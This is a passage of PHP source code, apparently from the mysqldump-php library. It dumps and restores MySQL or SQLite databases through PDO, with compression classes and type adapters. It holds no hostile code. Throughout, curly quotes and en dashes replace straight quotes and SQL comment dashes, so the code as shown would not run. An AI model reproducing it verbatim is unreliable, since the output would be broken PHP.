$this->version = $this->dbHandler->getAttribute(PDO::ATTR_SERVER_VERSION); break; default: throw new Exception(“Unsupported database type (“.$this->dbType.”)”); } } catch (PDOException $e) { throw new Exception( “Connection to “.$this->dbType.” failed with message: “. $e->getMessage() ); } if (is_null($this->dbHandler)) { throw new Exception(“Connection to “.$this->dbType.”failed”); } $this->dbHandler->setAttribute(PDO::ATTR_ORACLE_NULLS, PDO::NULL_NATURAL); $this->typeAdapter = TypeAdapterFactory::create($this->dbType, $this->dbHandler, $this->dumpSettings); } /** * Primary function, triggers dumping. * * @param string $filename Name of file to write sql dump to * @return null * @throws \Exception */ public function start($filename = ”, $append = false) { // Output file can be redefined here if (!empty($filename)) { $this->fileName = $filename; } // Connect to database $this->connect(); // Create output file $this->compressManager->open($this->fileName, $append); // Write some basic info to output file $this->compressManager->write($this->getDumpFileHeader()); // Store server settings and use sanner defaults to dump $this->compressManager->write( $this->typeAdapter->backup_parameters() ); if ($this->dumpSettings[‘databases’]) { $this->compressManager->write( $this->typeAdapter->getDatabaseHeader($this->dbName) ); if ($this->dumpSettings[‘add-drop-database’]) { $this->compressManager->write( $this->typeAdapter->add_drop_database($this->dbName) ); } } // Get table, view, trigger, procedures, functions and events structures from // database. $this->getDatabaseStructureTables(); $this->getDatabaseStructureViews(); $this->getDatabaseStructureTriggers(); $this->getDatabaseStructureProcedures(); $this->getDatabaseStructureFunctions(); $this->getDatabaseStructureEvents(); if ($this->dumpSettings[‘databases’]) { $this->compressManager->write( $this->typeAdapter->databases($this->dbName) ); } // If there still are some tables/views in include-tables array, // that means that some tables or views weren’t found. // Give proper error and exit. // This check will be removed once include-tables supports regexps. if (0 < count($this->dumpSettings[‘include-tables’])) { $name = implode(“,”, $this->dumpSettings[‘include-tables’]); throw new Exception(“Table (“.$name.”) not found in database”); } $this->exportTables(); $this->exportTriggers(); $this->exportFunctions(); $this->exportProcedures(); $this->exportViews(); $this->exportEvents(); // Restore saved parameters. $this->compressManager->write( $this->typeAdapter->restore_parameters() ); // Write some stats to output file. $this->compressManager->write($this->getDumpFileFooter()); // Close output file. $this->compressManager->close(); return; } /** * Primary restore function, triggers restore of db dump. * * @param string $filename Name of file to read sql dump from * @return null * @throws \Exception */ public function restore($filename = ”) { // Connect to database $this->connect(); $sql = ”; $error = ”; $response = NULL; $delimiter_in_use = ‘;’; $delimiter_length = strlen($delimiter_in_use); if ( file_exists( $filename ) && is_readable( $filename ) ) { $fh = fopen( $filename, ‘r’ ); while ( ( $line = fgets( $fh ) ) !== FALSE ) { $line = trim($line); // cleanup any whitespace for consistent string search functionality // Ignoring comments from the SQL script if ( substr($line, 0, 2) == ‘–‘ || $line == ” ) { continue; } // start of delimitier – keep track of it if ( substr($line, 0, 10) == ‘DELIMITER ‘ ) { $delimiter_in_use = substr($line, 10); $delimiter_length = strlen($delimiter_in_use); continue; // skip this line – this directive is only for the interpretor } $sql .= PHP_EOL . $line; if ( substr($line, – $delimiter_length ) == $delimiter_in_use) { // drop the delimiter $sql = substr( $sql, 0, – $delimiter_length ); $result = $this->dbHandler->query( $sql ); if (! $result) { $error .= $this->dbHandler->errorInfo() . “\n”; } $sql = ”; } } // end foreach fclose( $fh ); if ($error) { $response = array( “type” => “error”, “message” => $error ); } else { $response = array( “type” => “success”, “message” => “Database Restore Completed Successfully.” ); } } // end if file exists return $response; } /** * Returns header for dump file. * * @return string */ private function getDumpFileHeader() { $header = ”; if (!$this->dumpSettings[‘skip-comments’]) { // Some info about software, source and time $header = “– mysqldump-php https://github.com/ifsnop/mysqldump-php”.PHP_EOL. “–“.PHP_EOL. “– Host: {$this->host}\tDatabase: {$this->dbName}”.PHP_EOL. “– ——————————————————“.PHP_EOL; if (!empty($this->version)) { $header .= “– Server version \t”.$this->version.PHP_EOL; } if (!$this->dumpSettings[‘skip-dump-date’]) { $header .= “– Date: “.date(‘r’).PHP_EOL.PHP_EOL; } } return $header; } /** * Returns footer for dump file. * * @return string */ private function getDumpFileFooter() { $footer = ”; if (!$this->dumpSettings[‘skip-comments’]) { $footer .= ‘– Dump completed’; if (!$this->dumpSettings[‘skip-dump-date’]) { $footer .= ‘ on: ‘.date(‘r’); } $footer .= PHP_EOL; } return $footer; } /** * Reads table names from database. * Fills $this->tables array so they will be dumped later. * * @return null */ private function getDatabaseStructureTables() { // Listing all tables from database if (empty($this->dumpSettings[‘include-tables’])) { // include all tables for now, blacklisting happens later foreach ($this->dbHandler->query($this->typeAdapter->show_tables($this->dbName)) as $row) { array_push($this->tables, current($row)); } } else { // include only the tables mentioned in include-tables foreach ($this->dbHandler->query($this->typeAdapter->show_tables($this->dbName)) as $row) { if (in_array(current($row), $this->dumpSettings[‘include-tables’], true)) { array_push($this->tables, current($row)); $elem = array_search( current($row), $this->dumpSettings[‘include-tables’] ); unset($this->dumpSettings[‘include-tables’][$elem]); } } } return; } /** * Reads view names from database. * Fills $this->tables array so they will be dumped later. * * @return null */ private function getDatabaseStructureViews() { // Listing all views from database if (empty($this->dumpSettings[‘include-views’])) { // include all views for now, blacklisting happens later foreach ($this->dbHandler->query($this->typeAdapter->show_views($this->dbName)) as $row) { array_push($this->views, current($row)); } } else { // include only the tables mentioned in include-tables foreach ($this->dbHandler->query($this->typeAdapter->show_views($this->dbName)) as $row) { if (in_array(current($row), $this->dumpSettings[‘include-views’], true)) { array_push($this->views, current($row)); $elem = array_search( current($row), $this->dumpSettings[‘include-views’] ); unset($this->dumpSettings[‘include-views’][$elem]); } } } return; } /** * Reads trigger names from database. * Fills $this->tables array so they will be dumped later. * * @return null */ private function getDatabaseStructureTriggers() { // Listing all triggers from database if (false === $this->dumpSettings[‘skip-triggers’]) { foreach ($this->dbHandler->query($this->typeAdapter->show_triggers($this->dbName)) as $row) { array_push($this->triggers, $row[‘Trigger’]); } } return; } /** * Reads procedure names from database. * Fills $this->tables array so they will be dumped later. * * @return null */ private function getDatabaseStructureProcedures() { // Listing all procedures from database if ($this->dumpSettings[‘routines’]) { foreach ($this->dbHandler->query($this->typeAdapter->show_procedures($this->dbName)) as $row) { array_push($this->procedures, $row[‘procedure_name’]); } } return; } /** * Reads functions names from database. * Fills $this->tables array so they will be dumped later. * * @return null */ private function getDatabaseStructureFunctions() { // Listing all functions from database if ($this->dumpSettings[‘routines’]) { foreach ($this->dbHandler->query($this->typeAdapter->show_functions($this->dbName)) as $row) { array_push($this->functions, $row[‘function_name’]); } } return; } /** * Reads event names from database. * Fills $this->tables array so they will be dumped later. * * @return null */ private function getDatabaseStructureEvents() { // Listing all events from database if ($this->dumpSettings[‘events’]) { foreach ($this->dbHandler->query($this->typeAdapter->show_events($this->dbName)) as $row) { array_push($this->events, $row[‘event_name’]); } } return; } /** * Compare if $table name matches with a definition inside $arr * @param $table string * @param $arr array with strings or patterns * @return boolean */ private function matches($table, $arr) { $match = false; foreach ($arr as $pattern) { if (‘/’ != $pattern[0]) { continue; } if (1 == preg_match($pattern, $table)) { $match = true; } } return in_array($table, $arr) || $match; } /** * Exports all the tables selected from database * * @return null */ private function exportTables() { // Exporting tables one by one foreach ($this->tables as $table) { if ($this->matches($table, $this->dumpSettings[‘exclude-tables’])) { continue; } $this->getTableStructure($table); if (false === $this->dumpSettings[‘no-data’]) { // don’t break compatibility with old trigger $this->listValues($table); } elseif (true === $this->dumpSettings[‘no-data’] || $this->matches($table, $this->dumpSettings[‘no-data’])) { continue; } else { $this->listValues($table); } } } /** * Exports all the views found in database * * @return null */ private function exportViews() { if (false === $this->dumpSettings[‘no-create-info’]) { // Exporting views one by one foreach ($this->views as $view) { if ($this->matches($view, $this->dumpSettings[‘exclude-tables’])) { continue; } $this->tableColumnTypes[$view] = $this->getTableColumnTypes($view); $this->getViewStructureTable($view); } foreach ($this->views as $view) { if ($this->matches($view, $this->dumpSettings[‘exclude-tables’])) { continue; } $this->getViewStructureView($view); } } } /** * Exports all the triggers found in database * * @return null */ private function exportTriggers() { // Exporting triggers one by one foreach ($this->triggers as $trigger) { $this->getTriggerStructure($trigger); } } /** * Exports all the procedures found in database * * @return null */ private function exportProcedures() { // Exporting triggers one by one foreach ($this->procedures as $procedure) { $this->getProcedureStructure($procedure); } } /** * Exports all the functions found in database * * @return null */ private function exportFunctions() { // Exporting triggers one by one foreach ($this->functions as $function) { $this->getFunctionStructure($function); } } /** * Exports all the events found in database * * @return null */ private function exportEvents() { // Exporting triggers one by one foreach ($this->events as $event) { $this->getEventStructure($event); } } /** * Table structure extractor * * @todo move specific mysql code to typeAdapter * @param string $tableName Name of table to export * @return null */ private function getTableStructure($tableName) { if (!$this->dumpSettings[‘no-create-info’]) { $ret = ”; if (!$this->dumpSettings[‘skip-comments’]) { $ret = “–“.PHP_EOL. “– Table structure for table `$tableName`”.PHP_EOL. “–“.PHP_EOL.PHP_EOL; } $stmt = $this->typeAdapter->show_create_table($tableName); foreach ($this->dbHandler->query($stmt) as $r) { $this->compressManager->write($ret); if ($this->dumpSettings[‘add-drop-table’]) { $this->compressManager->write( $this->typeAdapter->drop_table($tableName) ); } $this->compressManager->write( $this->typeAdapter->create_table($r) ); break; } } $this->tableColumnTypes[$tableName] = $this->getTableColumnTypes($tableName); return; } /** * Store column types to create data dumps and for Stand-In tables * * @param string $tableName Name of table to export * @return array type column types detailed */ private function getTableColumnTypes($tableName) { $columnTypes = array(); $columns = $this->dbHandler->query( $this->typeAdapter->show_columns($tableName) ); $columns->setFetchMode(PDO::FETCH_ASSOC); foreach ($columns as $key => $col) { $types = $this->typeAdapter->parseColumnType($col); $columnTypes[$col[‘Field’]] = array( ‘is_numeric’=> $types[‘is_numeric’], ‘is_blob’ => $types[‘is_blob’], ‘type’ => $types[‘type’], ‘type_sql’ => $col[‘Type’], ‘is_virtual’ => $types[‘is_virtual’] ); } return $columnTypes; } /** * View structure extractor, create table (avoids cyclic references) * * @todo move mysql specific code to typeAdapter * @param string $viewName Name of view to export * @return null */ private function getViewStructureTable($viewName) { if (!$this->dumpSettings[‘skip-comments’]) { $ret = “–“.PHP_EOL. “– Stand-In structure for view `${viewName}`”.PHP_EOL. “–“.PHP_EOL.PHP_EOL; $this->compressManager->write($ret); } $stmt = $this->typeAdapter->show_create_view($viewName); // create views as tables, to resolve dependencies foreach ($this->dbHandler->query($stmt) as $r) { if ($this->dumpSettings[‘add-drop-table’]) { $this->compressManager->write( $this->typeAdapter->drop_view($viewName) ); } $this->compressManager->write( $this->createStandInTable($viewName) ); break; } } /** * Write a create table statement for the table Stand-In, show create * table would return a create algorithm when used on a view * * @param string $viewName Name of view to export * @return string create statement */ public function createStandInTable($viewName) { $ret = array(); foreach ($this->tableColumnTypes[$viewName] as $k => $v) { $ret[] = “`${k}` ${v[‘type_sql’]}”; } $ret = implode(PHP_EOL.”,”, $ret); $ret = “CREATE TABLE IF NOT EXISTS `$viewName` (“. PHP_EOL.$ret.PHP_EOL.”);”.PHP_EOL; return $ret; } /** * View structure extractor, create view * * @todo move mysql specific code to typeAdapter * @param string $viewName Name of view to export * @return null */ private function getViewStructureView($viewName) { if (!$this->dumpSettings[‘skip-comments’]) { $ret = “–“.PHP_EOL. “– View structure for view `${viewName}`”.PHP_EOL. “–“.PHP_EOL.PHP_EOL; $this->compressManager->write($ret); } $stmt = $this->typeAdapter->show_create_view($viewName); // create views, to resolve dependencies // replacing tables with views foreach ($this->dbHandler->query($stmt) as $r) { // because we must replace table with view, we should delete it $this->compressManager->write( $this->typeAdapter->drop_view($viewName) ); $this->compressManager->write( $this->typeAdapter->create_view($r) ); break; } } /** * Trigger structure extractor * * @param string $triggerName Name of trigger to export * @return null */ private function getTriggerStructure($triggerName) { $stmt = $this->typeAdapter->show_create_trigger($triggerName); foreach ($this->dbHandler->query($stmt) as $r) { if ($this->dumpSettings[‘add-drop-trigger’]) { $this->compressManager->write( $this->typeAdapter->add_drop_trigger($triggerName) ); } $this->compressManager->write( $this->typeAdapter->create_trigger($r) ); return; } } /** * Procedure structure extractor * * @param string $procedureName Name of procedure to export * @return null */ private function getProcedureStructure($procedureName) { if (!$this->dumpSettings[‘skip-comments’]) { $ret = “–“.PHP_EOL. “– Dumping routines for database ‘”.$this->dbName.”‘”.PHP_EOL. “–“.PHP_EOL.PHP_EOL; $this->compressManager->write($ret); } $stmt = $this->typeAdapter->show_create_procedure($procedureName); foreach ($this->dbHandler->query($stmt) as $r) { $this->compressManager->write( $this->typeAdapter->create_procedure($r,$procedureName) ); return; } } /** * Function structure extractor * * @param string $functionName Name of function to export * @return null */ private function getFunctionStructure($functionName) { if (!$this->dumpSettings[‘skip-comments’]) { $ret = “–“.PHP_EOL. “– Dumping routines for database ‘”.$this->dbName.”‘”.PHP_EOL. “–“.PHP_EOL.PHP_EOL; $this->compressManager->write($ret); } $stmt = $this->typeAdapter->show_create_function($functionName); foreach ($this->dbHandler->query($stmt) as $r) { $this->compressManager->write( $this->typeAdapter->create_function($r) ); return; } } /** * Event structure extractor * * @param string $eventName Name of event to export * @return null */ private function getEventStructure($eventName) { if (!$this->dumpSettings[‘skip-comments’]) { $ret = “–“.PHP_EOL. “– Dumping events for database ‘”.$this->dbName.”‘”.PHP_EOL. “–“.PHP_EOL.PHP_EOL; $this->compressManager->write($ret); } $stmt = $this->typeAdapter->show_create_event($eventName); foreach ($this->dbHandler->query($stmt) as $r) { $this->compressManager->write( $this->typeAdapter->create_event($r) ); return; } } /** * Prepare values for output * * @param string $tableName Name of table which contains rows * @param array $row Associative array of column names and values to be * quoted * * @return array */ private function prepareColumnValues($tableName, $row) { $ret = array(); $columnTypes = $this->tableColumnTypes[$tableName]; foreach ($row as $colName => $colValue) { $colValue = $this->hookTransformColumnValue($tableName, $colName, $colValue, $row); $ret[] = $this->escape($colValue, $columnTypes[$colName]); } return $ret; } /** * Escape values with quotes when needed * * @param string $tableName Name of table which contains rows * @param array $row Associative array of column names and values to be quoted * * @return string */ private function escape($colValue, $colType) { if (is_null($colValue)) { return “NULL”; } elseif ($this->dumpSettings[‘hex-blob’] && $colType[‘is_blob’]) { if ($colType[‘type’] == ‘bit’ || !empty($colValue)) { return “0x${colValue}”; } else { return “””; } } elseif ($colType[‘is_numeric’]) { return $colValue; } return $this->dbHandler->quote($colValue); } /** * Set a callable that will will be used to transform column values. * * @param callable $callable * * @return void */ public function setTransformColumnValueHook($callable) { $this->transformColumnValueCallable = $callable; } /** * Set a callable that will be used to report dump information * * @param callable $callable * * @return void */ public function setInfoHook($callable) { $this->infoCallable = $callable; } /** * Give extending classes an opportunity to transform column values * * @param string $tableName Name of table which contains rows * @param string $colName Name of the column in question * @param string $colValue Value of the column in question * @param array $row Full row * * @return string */ protected function hookTransformColumnValue($tableName, $colName, $colValue, $row) { if (!$this->transformColumnValueCallable) { return $colValue; } return call_user_func_array($this->transformColumnValueCallable, array( $tableName, $colName, $colValue, $row )); } /** * Table rows extractor * * @param string $tableName Name of table to export * * @return null */ private function listValues($tableName) { $this->prepareListValues($tableName); $onlyOnce = true; $lineSize = 0; // colStmt is used to form a query to obtain row values $colStmt = $this->getColumnStmt($tableName); // colNames is used to get the name of the columns when using complete-insert if ($this->dumpSettings[‘complete-insert’]) { $colNames = $this->getColumnNames($tableName); } $stmt = “SELECT “.implode(“,”, $colStmt).” FROM `$tableName`”; // Table specific conditions override the default ‘where’ $condition = $this->getTableWhere($tableName); if ($condition) { $stmt .= ” WHERE {$condition}”; } $limit = $this->getTableLimit($tableName); if ($limit) { $stmt .= ” LIMIT {$limit}”; } $resultSet = $this->dbHandler->query($stmt); $resultSet->setFetchMode(PDO::FETCH_ASSOC); $ignore = $this->dumpSettings[‘insert-ignore’] ? ‘ IGNORE’ : ”; $count = 0; foreach ($resultSet as $row) { $count++; $vals = $this->prepareColumnValues($tableName, $row); if ($onlyOnce || !$this->dumpSettings[‘extended-insert’]) { if ($this->dumpSettings[‘complete-insert’]) { $lineSize += $this->compressManager->write( “INSERT$ignore INTO `$tableName` (“. implode(“, “, $colNames). “) VALUES (“.implode(“,”, $vals).”)” ); } else { $lineSize += $this->compressManager->write( “INSERT$ignore INTO `$tableName` VALUES (“.implode(“,”, $vals).”)” ); } $onlyOnce = false; } else { $lineSize += $this->compressManager->write(“,(“.implode(“,”, $vals).”)”); } if (($lineSize > $this->dumpSettings[‘net_buffer_length’]) || !$this->dumpSettings[‘extended-insert’]) { $onlyOnce = true; $lineSize = $this->compressManager->write(“;”.PHP_EOL); } } $resultSet->closeCursor(); if (!$onlyOnce) { $this->compressManager->write(“;”.PHP_EOL); } $this->endListValues($tableName, $count); if ($this->infoCallable) { call_user_func($this->infoCallable, ‘table’, array(‘name’ => $tableName, ‘rowCount’ => $count)); } } /** * Table rows extractor, append information prior to dump * * @param string $tableName Name of table to export * * @return null */ public function prepareListValues($tableName) { if (!$this->dumpSettings[‘skip-comments’]) { $this->compressManager->write( “–“.PHP_EOL. “– Dumping data for table `$tableName`”.PHP_EOL. “–“.PHP_EOL.PHP_EOL ); } if ($this->dumpSettings[‘single-transaction’]) { $this->dbHandler->exec($this->typeAdapter->setup_transaction()); $this->dbHandler->exec($this->typeAdapter->start_transaction()); } if ($this->dumpSettings[‘lock-tables’] && !$this->dumpSettings[‘single-transaction’]) { $this->typeAdapter->lock_table($tableName); } if ($this->dumpSettings[‘add-locks’]) { $this->compressManager->write( $this->typeAdapter->start_add_lock_table($tableName) ); } if ($this->dumpSettings[‘disable-keys’]) { $this->compressManager->write( $this->typeAdapter->start_add_disable_keys($tableName) ); } // Disable autocommit for faster reload if ($this->dumpSettings[‘no-autocommit’]) { $this->compressManager->write( $this->typeAdapter->start_disable_autocommit() ); } return; } /** * Table rows extractor, close locks and commits after dump * * @param string $tableName Name of table to export. * @param integer $count Number of rows inserted. * * @return void */ public function endListValues($tableName, $count = 0) { if ($this->dumpSettings[‘disable-keys’]) { $this->compressManager->write( $this->typeAdapter->end_add_disable_keys($tableName) ); } if ($this->dumpSettings[‘add-locks’]) { $this->compressManager->write( $this->typeAdapter->end_add_lock_table($tableName) ); } if ($this->dumpSettings[‘single-transaction’]) { $this->dbHandler->exec($this->typeAdapter->commit_transaction()); } if ($this->dumpSettings[‘lock-tables’] && !$this->dumpSettings[‘single-transaction’]) { $this->typeAdapter->unlock_table($tableName); } // Commit to enable autocommit if ($this->dumpSettings[‘no-autocommit’]) { $this->compressManager->write( $this->typeAdapter->end_disable_autocommit() ); } $this->compressManager->write(PHP_EOL); if (!$this->dumpSettings[‘skip-comments’]) { $this->compressManager->write( “– Dumped table `”.$tableName.”` with $count row(s)”.PHP_EOL. ‘–‘.PHP_EOL.PHP_EOL ); } return; } /** * Build SQL List of all columns on current table which will be used for selecting * * @param string $tableName Name of table to get columns * * @return array SQL sentence with columns for select */ public function getColumnStmt($tableName) { $colStmt = array(); foreach ($this->tableColumnTypes[$tableName] as $colName => $colType) { if ($colType[‘type’] == ‘bit’ && $this->dumpSettings[‘hex-blob’]) { $colStmt[] = “LPAD(HEX(`${colName}`),2,’0′) AS `${colName}`”; } elseif ($colType[‘is_blob’] && $this->dumpSettings[‘hex-blob’]) { $colStmt[] = “HEX(`${colName}`) AS `${colName}`”; } elseif ($colType[‘is_virtual’]) { $this->dumpSettings[‘complete-insert’] = true; continue; } else { $colStmt[] = “`${colName}`”; } } return $colStmt; } /** * Build SQL List of all columns on current table which will be used for inserting * * @param string $tableName Name of table to get columns * * @return array columns for sql sentence for insert */ public function getColumnNames($tableName) { $colNames = array(); foreach ($this->tableColumnTypes[$tableName] as $colName => $colType) { if ($colType[‘is_virtual’]) { $this->dumpSettings[‘complete-insert’] = true; continue; } else { $colNames[] = “`${colName}`”; } } return $colNames; } } /** * Enum with all available compression methods * */ abstract class CompressMethod { public static $enums = array( Mysqldump::NONE, Mysqldump::GZIP, Mysqldump::BZIP2, Mysqldump::GZIPSTREAM, ); /** * @param string $c * @return boolean */ public static function isValid($c) { return in_array($c, self::$enums); } } abstract class CompressManagerFactory { /** * @param string $c * @return CompressBzip2|CompressGzip|CompressNone */ public static function create($c) { $c = ucfirst(strtolower($c)); if (!CompressMethod::isValid($c)) { throw new Exception(“Compression method ($c) is not defined yet”); } $method = __NAMESPACE__.”\\”.”Compress”.$c; return new $method; } } class CompressBzip2 extends CompressManagerFactory { private $fileHandler = null; public function __construct() { if (!function_exists(“bzopen”)) { throw new Exception(“Compression is enabled, but bzip2 lib is not installed or configured properly”); } } /** * @param string $filename */ public function open($filename) { $this->fileHandler = bzopen($filename, “w”); if (false === $this->fileHandler) { throw new Exception(“Output file is not writable”); } return true; } public function write($str) { $bytesWritten = bzwrite($this->fileHandler, $str); if (false === $bytesWritten) { throw new Exception(“Writting to file failed! Probably, there is no more free space left?”); } return $bytesWritten; } public function close() { return bzclose($this->fileHandler); } } class CompressGzip extends CompressManagerFactory { private $fileHandler = null; public function __construct() { if (!function_exists(“gzopen”)) { throw new Exception(“Compression is enabled, but gzip lib is not installed or configured properly”); } } /** * @param string $filename */ public function open($filename) { $this->fileHandler = gzopen($filename, “wb”); if (false === $this->fileHandler) { throw new Exception(“Output file is not writable”); } return true; } public function write($str) { $bytesWritten = gzwrite($this->fileHandler, $str); if (false === $bytesWritten) { throw new Exception(“Writting to file failed! Probably, there is no more free space left?”); } return $bytesWritten; } public function close() { return gzclose($this->fileHandler); } } class CompressNone extends CompressManagerFactory { private $fileHandler = null; /** * @param string $filename */ public function open($filename, $append = false) { $mode = $append ? ‘ab’ : ‘wb’; $this->fileHandler = fopen($filename, $mode); if (false === $this->fileHandler) { throw new Exception(“Output file is not writable”); } return true; } public function write($str) { $bytesWritten = fwrite($this->fileHandler, $str); if (false === $bytesWritten) { throw new Exception(“Writting to file failed! Probably, there is no more free space left?”); } return $bytesWritten; } public function close() { return fclose($this->fileHandler); } } class CompressGzipstream extends CompressManagerFactory { private $fileHandler = null; private $compressContext; /** * @param string $filename */ public function open($filename) { $this->fileHandler = fopen($filename, “wb”); if (false === $this->fileHandler) { throw new Exception(“Output file is not writable”); } $this->compressContext = deflate_init(ZLIB_ENCODING_GZIP, array(‘level’ => 9)); return true; } public function write($str) { $bytesWritten = fwrite($this->fileHandler, deflate_add($this->compressContext, $str, ZLIB_NO_FLUSH)); if (false === $bytesWritten) { throw new Exception(“Writting to file failed! Probably, there is no more free space left?”); } return $bytesWritten; } public function close() { fwrite($this->fileHandler, deflate_add($this->compressContext, ”, ZLIB_FINISH)); return fclose($this->fileHandler); } } /** * Enum with all available TypeAdapter implementations * */ abstract class TypeAdapter { public static $enums = array( “Sqlite”, “Mysql” ); /** * @param string $c * @return boolean */ public static function isValid($c) { return in_array($c, self::$enums); } } /** * TypeAdapter Factory * */ abstract class TypeAdapterFactory { protected $dbHandler = null; protected $dumpSettings = array(); /** * @param string $c Type of database factory to create (Mysql, Sqlite,…) * @param PDO $dbHandler */ public static function create($c, $dbHandler = null, $dumpSettings = array()) { $c = ucfirst(strtolower($c)); if (!TypeAdapter::isValid($c)) { throw new Exception(“Database type support for ($c) not yet available”); } $method = __NAMESPACE__.”\\”.”TypeAdapter”.$c; return new $method($dbHandler, $dumpSettings); } public function __construct($dbHandler = null, $dumpSettings = array()) { $this->dbHandler = $dbHandler; $this->dumpSettings = $dumpSettings; } /** * function databases Add sql to create and use database * @todo make it do something with sqlite */ public function databases() { return “”; } public function show_create_table($tableName) { return “SELECT tbl_name as ‘Table’, sql as ‘Create Table’ “. “FROM sqlite_master “. “WHERE type=’table’ AND tbl_name=’$tableName'”; } /** * function create_table Get table creation code from database * @todo make it do something with sqlite */ public function create_table($row) { return “”; } public function show_create_view($viewName) { return “SELECT tbl_name as ‘View’, sql as ‘Create View’ “. “FROM sqlite_master “. “WHERE type=’view’ AND tbl_name=’$viewName'”; } /** * function create_view Get view creation code from database * @todo make it do something with sqlite */ public function create_view($row) { return “”; } /** * function show_create_trigger Get trigger creation code from database * @todo make it do something with sqlite */ public function show_create_trigger($triggerName) { return “”; } /** * function create_trigger Modify trigger code, add delimiters, etc * @todo make it do something with sqlite */ public function create_trigger($triggerName) { return “”; } /** * function create_procedure Modify procedure code, add delimiters, etc * @todo make it do something with sqlite */ public function create_procedure($row, $procedureName) { return “”; } /** * function create_function Modify function code, add delimiters, etc * @todo make it do something with sqlite */ public function create_function($functionName) { return “”; } public function show_tables() { return “SELECT tbl_name FROM sqlite_master WHERE type=’table'”; } public function show_views() { return “SELECT tbl_name FROM sqlite_master WHERE type=’view'”; } public function show_triggers() { return “SELECT name FROM sqlite_master WHERE type=’trigger'”; } public function show_columns() { if (func_num_args() != 1) { return “”; } $args = func_get_args(); return “pragma table_info(${args[0]})”; } public function show_procedures() { return “”; } public function show_functions() { return “”; } public function show_events() { return “”; } public function setup_transaction() { return “”; } public function start_transaction() { return “BEGIN EXCLUSIVE”; } public function commit_transaction() { return “COMMIT”; } public function lock_table() { return “”; } public function unlock_table() { return “”; } public function start_add_lock_table() { return PHP_EOL; } public function end_add_lock_table() { return PHP_EOL; } public function start_add_disable_keys() { return PHP_EOL; } public function end_add_disable_keys() { return PHP_EOL; } public function start_disable_foreign_keys_check() { return PHP_EOL; } public function end_disable_foreign_keys_check() { return PHP_EOL; } public function add_drop_database() { return PHP_EOL; } public function add_drop_trigger() { return PHP_EOL; } public function drop_table() { return PHP_EOL; } public function drop_view() { return PHP_EOL; } /** * Decode column metadata and fill info structure. * type, is_numeric and is_blob will always be available. * * @param array $colType Array returned from “SHOW COLUMNS FROM tableName” * @return array */ public function parseColumnType($colType) { return array(); } public function backup_parameters() { return PHP_EOL; } public function restore_parameters() { return PHP_EOL; } } class TypeAdapterPgsql extends TypeAdapterFactory { } class TypeAdapterDblib extends TypeAdapterFactory { } class TypeAdapterSqlite extends TypeAdapterFactory { } class TypeAdapterMysql extends TypeAdapterFactory { const DEFINER_RE = ‘DEFINER=`(?:[^`]|“)*`@`(?:[^`]|“)*`’; // Numerical Mysql types public $mysqlTypes = array( ‘numerical’ => array( ‘bit’, ‘tinyint’, ‘smallint’, ‘mediumint’, ‘int’, ‘integer’, ‘bigint’, ‘real’, ‘double’, ‘float’, ‘decimal’, ‘numeric’ ), ‘blob’ => array( ‘tinyblob’, ‘blob’, ‘mediumblob’, ‘longblob’, ‘binary’, ‘varbinary’, ‘bit’, ‘geometry’, /* http://bugs.mysql.com/bug.php?id=43544 */ ‘point’, ‘linestring’, ‘polygon’, ‘multipoint’, ‘multilinestring’, ‘multipolygon’, ‘geometrycollection’, ) ); public function databases() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); $databaseName = $args[0]; $resultSet = $this->dbHandler->query(“SHOW VARIABLES LIKE ‘character_set_database’;”); $characterSet = $resultSet->fetchColumn(1); $resultSet->closeCursor(); $resultSet = $this->dbHandler->query(“SHOW VARIABLES LIKE ‘collation_database’;”); $collationDb = $resultSet->fetchColumn(1); $resultSet->closeCursor(); $ret = “”; $ret .= “CREATE DATABASE /*!32312 IF NOT EXISTS*/ `${databaseName}`”. ” /*!40100 DEFAULT CHARACTER SET ${characterSet} “. ” COLLATE ${collationDb} */;”.PHP_EOL.PHP_EOL. “USE `${databaseName}`;”.PHP_EOL.PHP_EOL; return $ret; } public function show_create_table($tableName) { return “SHOW CREATE TABLE `$tableName`”; } public function show_create_view($viewName) { return “SHOW CREATE VIEW `$viewName`”; } public function show_create_trigger($triggerName) { return “SHOW CREATE TRIGGER `$triggerName`”; } public function show_create_procedure($procedureName) { return “SHOW CREATE PROCEDURE `$procedureName`”; } public function show_create_function($functionName) { return “SHOW CREATE FUNCTION `$functionName`”; } public function show_create_event($eventName) { return “SHOW CREATE EVENT `$eventName`”; } public function create_table($row) { if (!isset($row[‘Create Table’])) { throw new Exception(“Error getting table code, unknown output”); } $createTable = $row[‘Create Table’]; if ($this->dumpSettings[‘reset-auto-increment’]) { $match = “/AUTO_INCREMENT=[0-9]+/s”; $replace = “”; $createTable = preg_replace($match, $replace, $createTable); } $ret = “/*!40101 SET @saved_cs_client = @@character_set_client */;”.PHP_EOL. “/*!40101 SET character_set_client = “.$this->dumpSettings[‘default-character-set’].” */;”.PHP_EOL. $createTable.”;”.PHP_EOL. “/*!40101 SET character_set_client = @saved_cs_client */;”.PHP_EOL. PHP_EOL; return $ret; } public function create_view($row) { $ret = “”; if (!isset($row[‘Create View’])) { throw new Exception(“Error getting view structure, unknown output”); } $viewStmt = $row[‘Create View’]; $definerStr = $this->dumpSettings[‘skip-definer’] ? ” : ‘/*!50013 \2 */’.PHP_EOL; if ($viewStmtReplaced = preg_replace( ‘/^(CREATE(?:\s+ALGORITHM=(?:UNDEFINED|MERGE|TEMPTABLE))?)\s+(‘ .self::DEFINER_RE.'(?:\s+SQL SECURITY DEFINER|INVOKER)?)?\s+(VIEW .+)$/s’, ‘/*!50001 \1 */’.PHP_EOL.$definerStr.’/*!50001 \3 */’, $viewStmt, 1 )) { $viewStmt = $viewStmtReplaced; }; $ret .= $viewStmt.’;’.PHP_EOL.PHP_EOL; return $ret; } public function create_trigger($row) { $ret = “”; if (!isset($row[‘SQL Original Statement’])) { throw new Exception(“Error getting trigger code, unknown output”); } $triggerStmt = $row[‘SQL Original Statement’]; $definerStr = $this->dumpSettings[‘skip-definer’] ? ” : ‘/*!50017 \2*/ ‘; if ($triggerStmtReplaced = preg_replace( ‘/^(CREATE)\s+(‘.self::DEFINER_RE.’)?\s+(TRIGGER\s.*)$/s’, ‘/*!50003 \1*/ ‘.$definerStr.’/*!50003 \3 */’, $triggerStmt, 1 )) { $triggerStmt = $triggerStmtReplaced; } $ret .= “DELIMITER ;;”.PHP_EOL. $triggerStmt.”;;”.PHP_EOL. “DELIMITER ;”.PHP_EOL.PHP_EOL; return $ret; } public function create_procedure($row, $procedureName) { $ret = “”; if (!isset($row[‘Create Procedure’])) { if ( $this->dumpSettings[ 